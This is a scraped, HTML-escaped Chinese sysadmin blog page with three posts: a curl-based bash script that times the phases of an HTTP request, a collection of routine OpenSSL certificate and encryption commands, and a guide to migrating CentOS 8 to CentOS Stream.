&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;curl -w &amp;quot;@timing.txt&amp;quot; -o &amp;#x2F;dev&amp;#x2F;null -s -L &amp;#x27;https:&amp;#x2F;&amp;#x2F;www.nixops.me&amp;#x2F;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将上述功能生成脚本stat.sh&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
#author : will
#website: https:&amp;#x2F;&amp;#x2F;www.nixops.me

Default_URL=https:&amp;#x2F;&amp;#x2F;www.nixops.me
URL=${1:-$Default_URL}

Result=`curl -o &amp;#x2F;dev&amp;#x2F;null -s $URL \
        -w \
        &amp;#x27;time_namelookup=%{time_namelookup}
time_connect=%{time_connect}
time_appconnect=%{time_appconnect}
time_redirect=%{time_redirect}
time_pretransfer=%{time_pretransfer}
time_starttransfer=%{time_starttransfer}
time_total=%{time_total}
&amp;#x27;`

declare $Result

curl_timing(){
    printf &amp;quot;\e[92mcURL Timing: \e[0m\n&amp;quot;
    for i in $Result
    do
            IFS=&amp;#x27;=&amp;#x27;
            printf &amp;quot;\e[96m%18s \e[0m: %10s \n&amp;quot; $i
    done
}
stat_timing(){

    Result_TCP=`printf &amp;quot;%.6f&amp;quot; $(echo $time_connect - $time_namelookup |bc -l)`
    Result_TLS=`printf &amp;quot;%.6f&amp;quot; $(echo $time_appconnect - $time_connect |bc -l)`
    Result_Server=`printf &amp;quot;%.6f&amp;quot; $(echo $time_starttransfer - $time_pretransfer |bc -l)`
    Result_TTFB=`printf &amp;quot;%.6f&amp;quot; $(echo $time_starttransfer - $time_appconnect |bc -l)`
    Result_Transfer=`printf &amp;quot;%.6f&amp;quot; $(echo $time_total - $time_starttransfer |bc -l)`

    printf &amp;quot;\n\e[92mResource Timing: \e[0m\n&amp;quot;
    printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;DNS Lookup&amp;quot; $time_namelookup
    printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;TCP Connection&amp;quot; $Result_TCP

    if  [ `echo &amp;quot;$time_appconnect == 0&amp;quot;|bc` -eq 0 ]
    then
        printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;TLS Handshake&amp;quot; $Result_TLS
    fi

    printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;Server Processing&amp;quot; $Result_Server
    printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;TTFB&amp;quot; $Result_TTFB
    printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;Content Transfer&amp;quot; $Result_Transfer
    printf &amp;quot;\e[96m%18s \e[0m: %.6f \n&amp;quot; &amp;quot;Finish&amp;quot; $time_total
}

curl_timing
stat_timing
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行一下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# .&amp;#x2F;stat.sh https:&amp;#x2F;&amp;#x2F;www.baidu.com

cURL Timing:
   time_namelookup :   0.004087
      time_connect :   0.006480
   time_appconnect :   0.022001
     time_redirect :   0.000000
  time_pretransfer :   0.022026
time_starttransfer :   0.025635
        time_total :   0.025658

Resource Timing:
        DNS Lookup : 0.004087
    TCP Connection : 0.002393
     TLS Handshake : 0.015521
 Server Processing : 0.003609
              TTFB : 0.003634
  Content Transfer : 0.000023
            Finish : 0.025658
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从上述结果，就可以直观的分析出http各阶段的耗时，方便我们进行性能瓶颈。&lt;&#x2F;p&gt;
&lt;p&gt;参考文章：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fcizixs.com%2F2017%2F04%2F11%2Fuse-curl-to-analyze-request%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;cizixs.com&#x2F;2017&#x2F;04&#x2F;11&#x2F;use-curl-to-analyze-request&#x2F;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fblog.cloudflare.com%2Fa-question-of-timing%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;a-question-of-timing&#x2F;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fcurl.se%2Fdocs%2Fmanpage.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;curl.se&#x2F;docs&#x2F;manpage.html&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fgithub.com%2Freorx%2Fhttpstat&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;reorx&#x2F;httpstat&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;opensslming-ling-liu-shui-zhang&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fopenssl-examples.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;openssl命令流水账&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;5月 25日, 2021年&lt;&#x2F;p&gt;
&lt;p&gt;Openssl命令用法比较多，整理了一下平时常用的命令，做了个流水账，方便以后复杂粘贴。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-sheng-cheng-gong-yao-he-si-yao&quot;&gt;一、生成公钥和私钥&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl genrsa -out nixops.me.key 2048
openssl rsa -in nixops.me.key -pubout -out nixops.me.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一条命令生成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl  req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout nixops.me.key -out nixops.me.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证私钥和公钥：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl rsa -check -in nixops.me.key
openssl x509 -text -noout -in nixops.me.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;er-sheng-cheng-si-yao-he-zheng-shu-qing-qiu-wen-jian-csr&quot;&gt;二、生成私钥和证书请求文件csr&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl  genrsa -out nixops.me.key 2048
openssl req -new -sha256 -key nixops.me.key -out nixops.me.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看csr 信息:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl req -noout -text -in nixops.me.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;san-zi-jian-ca&quot;&gt;三、自建CA&lt;&#x2F;h2&gt;
&lt;p&gt;生成CA私钥：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl genrsa -out CAKey.pem 2048
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成CA证书：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl req -x509 -sha256 -new -nodes -key CAKey.pem -days 3650 -out CACert.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以使用不用交互，直接提供相关信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl req -x509 -sha256 -new -nodes -key CAKey.pem -days 3650 -out CACert.pem  -subj &amp;quot;&amp;#x2F;C=CN&amp;#x2F;ST=Guangdong&amp;#x2F;L=Shenzhen&amp;#x2F;O=myorganization&amp;#x2F;OU=nixps LTD&amp;#x2F;CN=nixops.me&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看CA证书详细信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509 -in CACert.pem -text
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用CA签发证书：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509 -req -CA CACert.pem -CAkey CAKey.pem  -CAcreateserial -in nixops.me.csr -out nixops.me.issue.crt -days 365 -sha256
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看签发者信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509  -noout -issuer -issuer_hash -in nixops.me.issue.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;si-shi-yong-openssljia-mi-jie-mi-wen-jian&quot;&gt;四、使用openssl加密解密文件&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;4-1-sheng-cheng-bing-yan-zheng-si-yao&quot;&gt;4.1 生成并验证私钥&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl genrsa -out nixops.me.pem 2048
openssl rsa -in nixops.me.pem -text -noout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-dao-chu-gong-yao-bing-yan-zheng&quot;&gt;4.2 导出公钥并验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl rsa -in nixops.pem -pubout -out pub.pem
openssl rsa -in pub.pem -pubin -text -noout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-3-jia-jie-mi-xiao-wen-jian&quot;&gt;4.3 加解密小文件&lt;&#x2F;h3&gt;
&lt;p&gt;使用这种方式1024位的私钥可以加密小于86字节的文件，2048位的私钥可以加密小于214字节的文件。 用公钥加密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl rsautl -encrypt -inkey pub.pem -pubin -in file.txt -out file.bin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用私钥解密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl rsautl -decrypt -inkey nixops.pem -in file.bin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-4-jia-jie-mi-da-wen-jian&quot;&gt;4.4 加解密大文件&lt;&#x2F;h3&gt;
&lt;p&gt;用公钥加密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl  smime  -encrypt -aes256  -in  Large.zip  -binary  -outform DEM  -out  Encrypted.zip  pub.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用私钥解密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl  smime -decrypt  -in  Encrypted.zip  -binary -inform DEM -inkey nixops.pem  -out  Large.zip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wu-zheng-shu-ge-shi-zhuan-hua&quot;&gt;五、证书格式转化&lt;&#x2F;h2&gt;
&lt;p&gt;一般有以下几种标准格式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.DER .CER ： 二进制格式，只保存证书，不保存私钥。&lt;&#x2F;li&gt;
&lt;li&gt;.PEM ：文本格式，可保存证书，可保存私钥，通常网上的.key后缀的私钥，其实就是PEM格式。&lt;&#x2F;li&gt;
&lt;li&gt;.CRT ：可以是二进制格式，可以是文本格式，只保存证书，不保存私钥。&lt;&#x2F;li&gt;
&lt;li&gt;.PFX .P12 ：即PKCS12，是二进制格式，同时包含证书和私钥，一般有密码保护。&lt;&#x2F;li&gt;
&lt;li&gt;.JKS ：JAVA的专属二进制格式，同时包含证书和私钥，一般有密码保护。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-1-der-cer-crt-zhuan-pem&quot;&gt;5.1 DER&#x2F;CER&#x2F;CRT 转 PEM&lt;&#x2F;h3&gt;
&lt;p&gt;先查看证书信息，在转格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509 -in cert.der -inform der -text -noout
openssl x509 -in cert.der -inform der -outform pem -out cert.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-2-pemzhuan-der-cer-crt&quot;&gt;5.2 PEM转DER&#x2F;CER&#x2F;CRT&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509 -in cert.pem -text -noout
openssl x509 -in cert.pem -outform der -out cert.der
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-3-pfxzhuan-pem&quot;&gt;5.3 PFX转PEM&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl pkcs12 -info -nodes -in site.pfx
openssl pkcs12 -in site.pfx -out site.pem -nodes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-4-jkszhuan-pem&quot;&gt;5.4 JKS转PEM&lt;&#x2F;h3&gt;
&lt;p&gt;需要JDK中提供的keytool工具配合openssl,先用keytool转成PKCS12格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;keytool -importkeystore -srckeystore cert.jks -destkeystore cert.pkcs -srcstoretype JKS -deststoretype PKCS12
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在用openssl转成pem格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl pkcs12 -in cert.pkcs -out cert.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;liu-qi-ta-yi-xie-ji-qiao&quot;&gt;六、其它一些技巧&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;6-1-yi-chu-zheng-shu-zhong-de-mi-ma&quot;&gt;6.1 移除证书中的密码&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl rsa -in cert.key -out nopass.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-2-cha-kan-gong-yao-de-hash&quot;&gt;6.2 查看公钥的hash&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509 -noout -hash -in cert.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-3-cha-kan-zai-xian-wang-zhan-de-zheng-shu-xin-xi&quot;&gt;6.3 查看在线网站的证书信息&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl s_client -connect www.baidu.com:443 -showcerts
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-4-cha-kan-wang-zhan-zheng-shu-de-you-xiao-qi&quot;&gt;6.4 查看网站证书的有效期&lt;&#x2F;h3&gt;
&lt;p&gt;查看本地证书：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl x509 -dates -noout -in file.pem  #查看证书签发时间和有效期
openssl x509 -startdate -noout -in file.pem #查看签发时间
openssl x509 -enddate -noout -in file.pem   #查看有效时间
openssl x509 -checkend 86400 -noout -in file.pem #检查证书是否在一天内过期，用echo $?即可判断
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看在线证书：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl s_client -connect www.baidu.com:443 -servername www.baidu.com 2&amp;gt; &amp;#x2F;dev&amp;#x2F;null |  openssl x509 -noout  -dates
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提取过期时间：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl s_client  -connect www.baidu.com:443 -servername www.baidu.com 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null |openssl x509 -enddate -noout |cut -d &amp;quot;=&amp;quot; -f 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用date命令转换一下日期格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;date --date=&amp;quot;$(openssl s_client  -connect www.baidu.com:443 -servername www.baidu.com 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null |openssl x509 -enddate -noout |cut -d &amp;quot;=&amp;quot; -f 2)&amp;quot; --iso-8601
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-5-jian-cha-wang-zhan-shi-fou-jie-shou-zhi-ding-ban-ben-de-sslxie-yi&quot;&gt;6.5 检查网站是否接受指定版本的SSL协议&lt;&#x2F;h3&gt;
&lt;p&gt;协议有TLS 1.0(tls1)、TLS 1.1(tls1_1) TLS 1.2(tls1_2),在高版本的openssl中默认已经禁用了SSL V2(ssl2)、SSL V3(ssl3)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl s_client  -connect www.baidu.com:443 -tls1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-6-jian-cha-wang-zhan-shi-fou-zhi-chi-zhi-ding-de-jia-mi-suan-fa&quot;&gt;6.6 检查网站是否支持指定的加密算法&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;openssl s_client  -connect www.baidu.com:443 -tls1_2 -cipher &amp;#x27;ECDHE-RSA-AES128-GCM-SHA256&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参考文章：&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fjamielinux.com%2Fdocs%2Fopenssl-certificate-authority%2Findex.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;jamielinux.com&#x2F;docs&#x2F;openssl-certificate-authority&#x2F;index.html&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fstackoverflow.com%2Fquestions%2F21297853%2Fhow-to-determine-ssl-cert-expiration-date-from-a-pem-encoded-certificate&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;21297853&#x2F;how-to-determine-ssl-cert-expiration-date-from-a-pem-encoded-certificate&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fgeekflare.com%2Fopenssl-commands-certificates%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;geekflare.com&#x2F;openssl-commands-certificates&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;centos-8xi-tong-qian-yi-zhi-centos-stream&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fmigrate-to-centos-stream-8.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;CentOS 8系统迁移至CentOS Stream&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;5月 13日, 2021年&lt;&#x2F;p&gt;
&lt;p&gt;2020年12月8日，CentOS
官方发布公告称CentOS 8将于2021年12月31日结束支持，取而代之的是CentOS Stream。&lt;&#x2F;p&gt;
&lt;p&gt;以前centos作为RHEL的重新编译版，即下游发型版： Fedora
-&amp;gt; RHEL -&amp;gt; CentOS 现在是和Fedora一样专注于RHEL的上游测试分支: Fedora -&amp;gt; CentOS Stream -&amp;gt; RHEL&lt;&#x2F;p&gt;
&lt;p&gt;CentOS Stream发布方式改为滚动更新，不像传统的操作系统有着明确的系统版本号，而是在升级过程中使用来自上游的最新软件包版本以及内核功能等。其定位是吸收Fedora中测试稳定的软件，制作成相对稳定的滚动发型版，即给RHEL做测试，又为RHEL培养客户。对于稳定性要求不高的场景，可以直接从CentOS 8迁移至CentOS Stream。&lt;&#x2F;p&gt;
&lt;p&gt;迁移之前，先&lt;strong&gt;备份好数据及重要的配置！！备份好数据及重要的配置！！备份好数据及重要的配置！！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-geng-xin-centos-8xi-tong-zhi-zui-xin&quot;&gt;一、更新CentOS 8系统至最新&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启后查看版本号：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;cat &amp;#x2F;etc&amp;#x2F;redhat-release
CentOS Linux release 8.3.2011
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;er-an-zhuang-centos-stream-ruan-jian-yuan&quot;&gt;二、安装CentOS Stream 软件源&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install centos-release-stream
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将当前的CentOS 8源替换成CentOS Stream源：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf swap centos-{linux,stream}-repos
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;san-qian-yi-bing-ti-huan-xi-tong-ruan-jian-ji-nei-he&quot;&gt;三、迁移并替换系统软件及内核&lt;&#x2F;h2&gt;
&lt;p&gt;distro-sync工具会比对本地软件和CentOS Steam源中的软件及内核，并进行必要的升级、降级或者保持不变，这一步中有差异的软件选择Y替换成CentOS Stream提供的版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf distro-sync
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这一步骤会下载比较多的软件并安装，耗时比较久。下载安装完成后，重启系统并验证版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;cat &amp;#x2F;etc&amp;#x2F;redhat-release
CentOS Stream release 8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;si-shou-wei-yan-zheng&quot;&gt;四、收尾验证&lt;&#x2F;h2&gt;
&lt;p&gt;移除无用和冲突的软件包：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf  autoremove
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CentOS默认会保留5个旧内核，移除旧版的内核和旧版的kernel-headers、kernel-devel等软件包，有三种方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;更改&#x2F;etc&#x2F;yum.conf中的 installonly_limit=5，之后使用dnf autoremove移除&lt;&#x2F;li&gt;
&lt;li&gt;安装yum-utils，并使用命令：package-cleanup --oldkernels --count=1进行移除&lt;&#x2F;li&gt;
&lt;li&gt;rpm -qa 找出旧版内核，手动删除&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
